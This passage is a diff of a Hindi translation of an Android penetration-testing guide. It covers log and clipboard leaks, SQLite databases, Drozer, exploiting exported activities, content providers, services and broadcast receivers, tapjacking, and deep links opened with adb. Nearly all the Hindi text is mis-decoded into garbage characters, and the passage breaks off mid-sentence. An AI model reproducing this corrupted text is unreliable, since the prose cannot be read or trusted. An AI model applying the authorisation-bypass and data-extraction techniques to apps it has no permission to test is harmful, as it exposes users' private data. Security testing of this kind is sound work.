рдХреА рдЬрд╛ рд╕рдХреЗ рдФрд░ рдЙрд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред **Pidcat** рдЕрдкрдиреА рдЖрд╕рд╛рди рдЙрдкрдпреЛрдЧрд┐рддрд╛ рдФрд░ readability рдХреЗ рдХрд╛рд░рдг рдкрд╕рдВрдж рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +рдбреЗрд╡рд▓рдкрд░реЛрдВ рдХреЛ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд░реВрдк рд╕реЗ **debugging information** рдЙрдЬрд╛рдЧрд░ рдХрд░рдиреЗ рдореЗрдВ рд╕рд╛рд╡рдзрд╛рдиреА рдмрд░рддрдиреА рдЪрд╛рд╣рд┐рдП, рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ data leak рд╣реЛ рд╕рдХрддрд╛ рд╣реИред application logs рдХреЛ рдореЙрдирд┐рдЯрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП tools [**pidcat**](https://github.com/JakeWharton/pidcat) рдФрд░ `adb logcat` рдХреА рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХреА рдЬрд╛рддреА рд╣реИ рддрд╛рдХрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХреА рдкрд╣рдЪрд╛рди рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рдХреА рдЬрд╛ рд╕рдХреЗред **Pidcat** рдЗрд╕рдХреА рдЙрдкрдпреЛрдЧрд┐рддрд╛ рдФрд░ рдкрдардиреАрдпрддрд╛ рдХреЗ рдХрд╛рд░рдг рдкреНрд░рд╛рдпрдГ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред > [!WARNING] > Note that from **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\ @@ -305,40 +305,40 @@ Magisk/Zygisk quick notes (recommended on Pixel devices) **Copy/Paste Buffer Caching** -Android рдХрд╛ **clipboard-based** framework apps рдореЗрдВ copy-paste functionality рд╕рдХреНрд╖рдо рдХрд░рддрд╛ рд╣реИ, рдкрд░ рдпрд╣ рдЬреЛрдЦрд┐рдо рднреА рдкреИрджрд╛ рдХрд░рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ **other applications** clipboard рдХреЛ access рдХрд░ рд╕рдХрддреА рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рдЙрдЬрд╛рдЧрд░ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП application рдХреЗ sensitive рд╣рд┐рд╕реНрд╕реЛрдВ (рдЬреИрд╕реЗ credit card details) рдХреЗ рд▓рд┐рдП copy/paste functions рдХреЛ disable рдХрд░рдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рддрд╛рдХрд┐ data leak рд░реЛрдХрд╛ рдЬрд╛ рд╕рдХреЗред +Android рдХрд╛ **clipboard-based** framework apps рдореЗрдВ copy-paste рд╕реБрд╡рд┐рдзрд╛ рджреЗрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЬреЛрдЦрд┐рдо рдпрд╣ рд╣реИ рдХрд┐ **other applications** clipboard рддрдХ **access** рдХрд░ рд╕рдХрддреА рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рдЙрдЬрд╛рдЧрд░ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП application рдХреЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣рд┐рд╕реНрд╕реЛрдВ (рдЬреИрд╕реЗ credit card details) рдХреЗ рд▓рд┐рдП copy/paste functions рдХреЛ disable рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ рддрд╛рдХрд┐ data leak рд╕реЗ рдмрдЪрд╛ рдЬрд╛ рд╕рдХреЗред **Crash Logs** -рдпрджрд┐ рдХреЛрдИ application **crashes** рдХрд░рддрд╛ рд╣реИ рдФрд░ logs save рдХрд░рддрд╛ рд╣реИ, рддреЛ рдпреЗ logs attackers рдХреА рдорджрдж рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЦрд╛рд╕рдХрд░ рдЬрдм application рдХреЛ reverse-engineer рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ред рдЗрд╕ рдЬреЛрдЦрд┐рдо рдХреЛ рдХрдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, crash рдкрд░ logging рд╕реЗ рдмрдЪреЗрдВ, рдФрд░ рдпрджрд┐ logs рдХреЛ network рдкрд░ рднреЗрдЬрдирд╛ рдЬрд░реВрд░реА рд╣реИ рддреЛ рдЙрдиреНрд╣реЗрдВ SSL рдЪреИрдирд▓ рдХреЗ рдЬрд░рд┐рдП рднреЗрдЬреЗрдВред +рдпрджрд┐ рдХреЛрдИ application **crashes** рдФрд░ logs рд╕реЗрд╡ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдпреЗ logs attackers рдХреА рдорджрдж рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЦрд╛рд╕рдХрд░ рдЬрдм application рдХреЛ reverse-engineer рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ред рдЗрд╕ рдЬреЛрдЦрд┐рдо рдХреЛ рдХрдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, crashes рдкрд░ logging рд╕реЗ рдмрдЪреЗрдВ, рдФрд░ рдпрджрд┐ logs рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рднреЗрдЬрдиреЗ рд╣реА рд╣реЛрдВ рддреЛ рдЙрдиреНрд╣реЗрдВ SSL рдЪреИрдирд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рднреЗрдЬрдирд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВред As pentester, **try to take a look to these logs**. **Analytics Data Sent To 3rd Parties** -Applications рдЕрдХреНрд╕рд░ Google Adsense рдЬреИрд╕реЗ services integrate рдХрд░рддреЗ рд╣реИрдВ, рдЬреЛ developers рдХреА improper implementation рдХреЗ рдХрд╛рд░рдг рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рдХреЛ inadvertently **leak** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рд╕рдВрднрд╛рд╡рд┐рдд data leaks рдХреА рдкрд╣рдЪрд╛рди рдХреЗ рд▓рд┐рдП, рдпрд╣ рд╕рд▓рд╛рд╣ рджреА рдЬрд╛рддреА рд╣реИ рдХрд┐ рдЖрдк application's traffic рдХреЛ intercept рдХрд░реЗрдВ рдФрд░ рдХрд┐рд╕реА рднреА sensitive information рдХреА third-party services рдХреЛ рднреЗрдЬреА рдЬрд╛ рд░рд╣реА рд╣реЛ рддреЛ рдЬрд╛рдВрдЪреЗрдВред +Applications рдЕрдХреНрд╕рд░ Google Adsense рдЬреИрд╕реЗ services integrate рдХрд░рддреЗ рд╣реИрдВ, рдЬреЛ developers рдХреЗ рдЧрд▓рдд implementation рдХреА рд╡рдЬрд╣ рд╕реЗ рдЕрдирдЬрд╛рдиреЗ рдореЗрдВ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ data leak рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рд╕рдВрднрд╛рд╡рд┐рдд data leaks рдкрд╣рдЪрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП, application рдХреЗ traffic рдХреЛ intercept рдХрд░рдирд╛ рдФрд░ third-party services рдХреЛ рднреЗрдЬреЗ рдЬрд╛ рд░рд╣реЗ рдХрд┐рд╕реА рднреА рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХреА рдЬрд╛рдБрдЪ рдХрд░рдирд╛ рд╕рд▓рд╛рд╣рдХрд╛рд░ рд╣реИред ### SQLite DBs -рдЕрдзрд┐рдХрддрд░ applications internal SQLite databases рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ information save рдХрд░рддреЗ рд╣реИрдВред Pentest рдХреЗ рджреМрд░рд╛рди рдмрдирд╛рдП рдЧрдП **databases**, **tables** рдФрд░ **columns** рдХреЗ рдирд╛рдореЛрдВ рдФрд░ рдЙрдирдореЗрдВ saved рд╕рднреА **data** рдХреЛ рджреЗрдЦрдирд╛ рдЪрд╛рд╣рд┐рдП рдХреНрдпреЛрдВрдХрд┐ рдЖрдк рд╡рд╣рд╛рдВ рд╕реЗ **sensitive information** (рдЬреЛ vulnerability рд╣реЛрдЧреА) рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред\ -Databases рдХреЛ `/data/data/the.package.name/databases` рдореЗрдВ locate рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рдЬреИрд╕реЗ `/data/data/com.mwr.example.sieve/databases` +рдЬрд╝реНрдпрд╛рджрд╛рддрд░ applications internal SQLite databases рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЬрд╛рдирдХрд╛рд░реА рд╕реЗрд╡ рдХрд░реЗрдВрдЧреЗред pentest рдХреЗ рджреМрд░рд╛рди рдмрдирд╛рдП рдЧрдП **databases**, **tables** рдФрд░ **columns** рдХреЗ рдирд╛рдореЛрдВ рдФрд░ рд╕реЗрд╡ рдХрд┐рдП рдЧрдП рд╕рд╛рд░реЗ рдбреЗрдЯрд╛ рдХреЛ рдзреНрдпрд╛рди рд╕реЗ рджреЗрдЦреЗрдВ рдХреНрдпреЛрдВрдХрд┐ рдЖрдк рд╡рд╣рд╛рдВ **sensitive information** рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ (рдЬреЛ рдХрд┐ vulnerability рд╣реЛрдЧреА).\ +Databases рдЖрдорддреМрд░ рдкрд░ `/data/data/the.package.name/databases` рдореЗрдВ рд╕реНрдерд┐рдд рд╣реЛрддреЗ рд╣реИрдВ рдЬреИрд╕реЗ `/data/data/com.mwr.example.sieve/databases` -рдпрджрд┐ database confidential information save рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ **encrypted** рд╣реИ рдкрд░ рдЖрдк application рдХреЗ рдЕрдВрджрд░ **password** рдвреВрдБрдв рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдпрд╣ рдлрд┐рд░ рднреА рдПрдХ **vulnerability** рд╣реИред +рдЕрдЧрд░ database confidential information рд╕реЗрд╡ рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ рд╡рд╣ **encrypted b**ut рдЖрдк application рдХреЗ рдЕрдВрджрд░ password **find** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдпрд╣ рдлрд┐рд░ рднреА рдПрдХ **vulnerability** рд╣реИред -.tables рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ tables рдХреЛ enumerate рдХрд░реЗрдВ рдФрд░ `.schema ` рдЪрд▓рд╛рдХрд░ tables рдХреЗ columns enumerate рдХрд░реЗрдВ +.tables рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ tables enumerate рдХрд░реЗрдВ рдФрд░ tables рдХреЗ columns рдХреЛ `.schema ` рдХрд░рдХреЗ enumerate рдХрд░реЗрдВ ### Drozer (Exploit Activities, Content Providers and Services) -From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of AndroidтАЩs Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\ -Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections. +From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** рдЖрдкрдХреЛ **assume the role of an Android app** рдФрд░ рдЕрдиреНрдп apps рдХреЗ рд╕рд╛рде interact рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдпрд╣ рд╡рд╣реА рдХреБрдЫ рднреА рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдПрдХ installed application рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕реЗ AndroidтАЩs Inter-Process Communication (IPC) mechanism рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдФрд░ underlying operating system рдХреЗ рд╕рд╛рде interact рдХрд░рдирд╛ред .\ +Drozer рдПрдХ рдЙрдкрдпреЛрдЧреА tool рд╣реИ рдЬреЛ **exported activities, exported services and Content Providers** рдХреЛ exploit рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИ рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рдЕрдЧрд▓реЗ sections рдореЗрдВ рд╕реАрдЦреЗрдВрдЧреЗред ### Exploiting exported Activities [**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\ -Also remember that the code of an activity starts in the **`onCreate`** method. +рдпрд╣ рднреА рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ рдХрд┐рд╕реА activity рдХрд╛ рдХреЛрдб **`onCreate`** method рдореЗрдВ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИред **Authorisation bypass** -When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.** +рдЬрдм рдХреЛрдИ Activity exported рд╣реЛрддреА рд╣реИ рддреЛ рдЖрдк рдЙрд╕рдХреА screen рдХреЛ external app рд╕реЗ invoke рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдЕрдЧрд░ рдХрд┐рд╕реА activity рдореЗрдВ **sensitive information** рд╣реИ рдФрд░ рд╡рд╣ **exported** рд╣реИ рддреЛ рдЖрдк authentication mechanisms рдХреЛ **bypass** рдХрд░рдХреЗ рдЙрд╕реЗ access рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред [**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities) @@ -349,105 +349,105 @@ You can also start an exported activity from adb: ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -**NOTE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21). +**рдиреЛрдЯ**: MobSF рдХрд┐рд╕реА activity рдореЗрдВ `android:launchMode` рдХреЗ рд░реВрдк рдореЗрдВ _**singleTask/singleInstance**_ рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЛ malicious рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╣рдЪрд╛рди рд╕рдХрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) рдХреЗ рдХрд╛рд░рдг, рдЬрд╛рд╣рд┐рд░ рддреМрд░ рдкрд░ рдпрд╣ рдХреЗрд╡рд▓ рдкреБрд░рд╛рдиреЗ рд╡рд░реНрд╢рдиреЛрдВ (API versions < 21) рдореЗрдВ рд╣реА рдЦрддрд░рдирд╛рдХ рд╣реИред > [!TIP] -> рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдПрдХ authorisation bypass рд╣рдореЗрд╢рд╛ рдПрдХ vulnerability рдирд╣реАрдВ рд╣реЛрддрд╛; рдпрд╣ рдЗрд╕ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░реЗрдЧрд╛ рдХрд┐ bypass рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдФрд░ рдХреМрди-рд╕реА рдЬрд╛рдирдХрд╛рд░реА exposed рд╣реЛрддреА рд╣реИред +> рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдПрдХ authorisation bypass рд╣рдореЗрд╢рд╛ рдПрдХ vulnerability рдирд╣реАрдВ рд╣реЛрддрд╛; рдпрд╣ рдЗрд╕ рдмрд╛рдд рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░реЗрдЧрд╛ рдХрд┐ bypass рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдФрд░ рдХреМрди рд╕реА рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рдХрдЯ рд╣реЛрддреА рд╣реИред -**рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА leakage** +**Sensitive information leakage** -**Activities рднреА рдкрд░рд┐рдгрд╛рдо рд╡рд╛рдкрд╕ рдХрд░ рд╕рдХрддреА рд╣реИрдВ**ред рдпрджрд┐ рдЖрдк рдХреЛрдИ exported рдФрд░ unprotected activity рдвреВрдВрдврддреЗ рд╣реИрдВ рдЬреЛ **`setResult`** method рдХреЙрд▓ рдХрд░ рд░рд╣реА рд╣реЛ рдФрд░ **рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА return рдХрд░ рд░рд╣реА рд╣реЛ**, рддреЛ рдпрд╣ рдПрдХ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА leakage рд╣реИред +**Activities can also return results**. рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА exported рдФрд░ unprotected activity рдХреЛ рдвреВрдВрдв рдкрд╛рддреЗ рд╣реИрдВ рдЬреЛ **`setResult`** method рдХреЛ рдХреЙрд▓ рдХрд░ рд░рд╣реА рд╣реЛ рдФрд░ **returning sensitive information**, рддреЛ there is a sensitive information leakageред #### Tapjacking -рдпрджрд┐ Tapjacking рд░реЛрдХрд╛ рди рдЧрдпрд╛ рд╣реЛ, рддреЛ рдЖрдк exported activity рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ **user рдХреЛ рдЕрдирдкреЗрдХреНрд╖рд┐рдд actions рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░реЗрд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**ред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП [**what is Tapjacking follow the link**](#tapjacking). +рдпрджрд┐ tapjacking рд░реЛрдХрд╛ рдирд╣реАрдВ рдЧрдпрд╛ рд╣реИ, рддреЛ рдЖрдк exported activity рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ **user рдХреЛ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рдХреНрд░рд┐рдпрд╛рдПрдБ рдХрд░рд╡рд╛ рд╕рдХрддреЗ рд╣реИрдВ**ред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП [**what is Tapjacking follow the link**](#tapjacking) рджреЗрдЦреЗрдВред ### Exploiting Content Providers - Accessing and manipulating sensitive information [**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\ -Content providers рдореВрд▓ рд░реВрдк рд╕реЗ рдбреЗрдЯрд╛ **share** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рд╣реЛрддреЗ рд╣реИрдВред рдпрджрд┐ рдХрд┐рд╕реА app рдореЗрдВ content providers рдЙрдкрд▓рдмреНрдз рд╣реИрдВ рддреЛ рдЖрдк рдЙрдирд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ **extract** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рд╕рд╛рде рд╣реА рдпрд╣ рджрд┐рд▓рдЪрд╕реНрдк рд╣реЛрдЧрд╛ рд╕рдВрднрд╡рддрдГ **SQL injections** рдФрд░ **Path Traversals** рдХреЛ рдЯреЗрд╕реНрдЯ рдХрд░рдирд╛ рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ vulnerable рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред +Content providers рдореВрд▓ рд░реВрдк рд╕реЗ **share data** рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред рдпрджрд┐ рдХрд┐рд╕реА app рдХреЗ рдкрд╛рд╕ рдЙрдкрд▓рдмреНрдз content providers рд╣реИрдВ, рддреЛ рдЖрдк рдЙрдирд╕реЗ **extract sensitive** data рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛ рд╕рдВрднрд╛рд╡рд┐рдд **SQL injections** рдФрд░ **Path Traversals** рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдирд╛ рднреА рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ vulnerable рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред [**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers) ### **Exploiting Services** [**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\ -рдзреНрдпрд╛рди рд░рдЦреЗрдВ рдХрд┐ Service рдХреА actions method `onStartCommand` рдореЗрдВ рд╢реБрд░реВ рд╣реЛрддреА рд╣реИрдВред +рдзреНрдпрд╛рди рд░рдЦреЗрдВ рдХрд┐ Service рдХреА рдХреНрд░рд┐рдпрд╛рдПрдБ method `onStartCommand` рдореЗрдВ рд╢реБрд░реВ рд╣реЛрддреА рд╣реИрдВред -Service рдореВрд▓ рд░реВрдк рд╕реЗ рдРрд╕рд╛ component рд╣реИ рдЬреЛ **data receive** рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЙрд╕реЗ **process** рдХрд░рддрд╛ рд╣реИ рдФрд░ (рдпрд╛ рдирд╣реАрдВ) response **return** рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдХреЛрдИ application рдХреБрдЫ services export рдХрд░ рд░рд╣реА рд╣реИ рддреЛ рдЖрдкрдХреЛ **code** рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рд┐рдП рдпрд╣ рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдпрд╣ рдХреНрдпрд╛ рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ **dynamically** рдЯреЗрд╕реНрдЯ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП рддрд╛рдХрд┐ confidential рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓реА рдЬрд╛ рд╕рдХреЗ, authentication measures bypass рдХрд┐рдП рдЬрд╛ рд╕рдХреЗрдВ...\ +Service рдореВрд▓рддрдГ рдРрд╕рд╛ рдХреБрдЫ рд╣реИ рдЬреЛ **data receive** рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЙрд╕реЗ **process** рдХрд░рддрд╛ рд╣реИ рдФрд░ (рдпрд╛ рдирд╣реАрдВ) рдПрдХ response **returns** рдХрд░рддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдХреЛрдИ application рдХреБрдЫ services export рдХрд░ рд░рд╣рд╛ рд╣реИ рддреЛ рдЖрдкрдХреЛ **code** рдХреА рдЬрд╛рдБрдЪ рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП рдпрд╣ рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдпрд╣ рдХреНрдпрд╛ рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ рдЧреЛрдкрдиреАрдп рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓рдиреЗ, authentication measures рдХреЛ bypass рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕реЗ **dynamically** test рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред\ [**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services) ### **Exploiting Broadcast Receivers** [**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ -рдзреНрдпрд╛рди рд░рдЦреЗрдВ рдХрд┐ Broadcast Receiver рдХреЗ actions method `onReceive` рдореЗрдВ рд╢реБрд░реВ рд╣реЛрддреЗ рд╣реИрдВред +рдзреНрдпрд╛рди рд░рдЦреЗрдВ рдХрд┐ Broadcast Receiver рдХреА рдХреНрд░рд┐рдпрд╛рдПрдБ method `onReceive` рдореЗрдВ рд╢реБрд░реВ рд╣реЛрддреА рд╣реИрдВред -рдПрдХ broadcast receiver рдХрд┐рд╕реА рдкреНрд░рдХрд╛рд░ рдХреЗ message рдХреА рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░реЗрдЧрд╛ред рдпрд╣ рдЗрд╕ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░реЗрдЧрд╛ рдХрд┐ receiver рдЙрд╕ message рдХреЛ рдХреИрд╕реЗ handle рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╡рд╣ vulnerable рд╣реЛ рд╕рдХрддрд╛ рд╣реИред\ +рдПрдХ broadcast receiver рдХрд┐рд╕реА рдкреНрд░рдХрд╛рд░ рдХреЗ message рдХрд╛ рдЗрдВрддрдЬрд╝рд╛рд░ рдХрд░реЗрдЧрд╛ред рдпрд╣ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ рдХрд┐ receiver рдЙрд╕ рд╕рдВрджреЗрд╢ рдХреЛ рдХреИрд╕реЗ handle рдХрд░рддрд╛ рд╣реИ, рдпрд╣ vulnerable рд╣реЛ рд╕рдХрддрд╛ рд╣реИред\ [**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers) ### **Exploiting Schemes / Deep links** -рдЖрдк deep links рдХреЛ manually рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ, MobSF рдЬреИрд╕реЗ tools рдпрд╛ [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) рдЬреИрд╕реА scripts рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗред\ -рдЖрдк рдХрд┐рд╕реА declared **scheme** рдХреЛ **adb** рдпрд╛ рдПрдХ **browser** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **open** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдЖрдк deep links рдореИрдиреНрдпреБрдЕрд▓реА рдвреВрдВрдв рд╕рдХрддреЗ рд╣реИрдВ, MobSF рдЬреИрд╕реЗ tools рдпрд╛ [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) рдЬреИрд╕реЗ scripts рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗред\ +рдЖрдк adb рдпрд╛ рдХрд┐рд╕реА browser рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдШреЛрд╖рд┐рдд **scheme** рдХреЛ **open** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` -_рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк **рдкреИрдХреЗрдЬ рдирд╛рдо рдЫреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ** рдФрд░ рдореЛрдмрд╛рдЗрд▓ рдЕрдкрдиреЗ рдЖрдк рдЙрд╕ рдРрдк рдХреЛ рдХреЙрд▓ рдХрд░реЗрдЧрд╛ рдЬреЛ рдЙрд╕ рд▓рд┐рдВрдХ рдХреЛ рдЦреЛрд▓рдирд╛ рдЪрд╛рд╣рд┐рдПред_ +_рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк **рдкреИрдХреЗрдЬ рдирд╛рдо рдЫреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ** рдФрд░ рдореЛрдмрд╛рдЗрд▓ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЙрд╕ рдРрдк рдХреЛ рдХреЙрд▓ рдХрд░реЗрдЧрд╛ рдЬреЛ рдЙрд╕ рд▓рд┐рдВрдХ рдХреЛ рдЦреЛрд▓рдирд╛ рдЪрд╛рд╣рд┐рдП._ ```html Click me with alternative ``` -**Code executed** +**App рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдиреЗ рд╡рд╛рд▓рд╛ code** -In order to find the **code that will be executed in the App**, go to the activity called by the deeplink and search the function **`onNewIntent`**. +App рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдиреЗ рд╡рд╛рд▓рд╛ code рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП, deeplink рджреНрд╡рд╛рд░рд╛ рдХреЙрд▓ рдХреА рдЧрдИ activity рдореЗрдВ 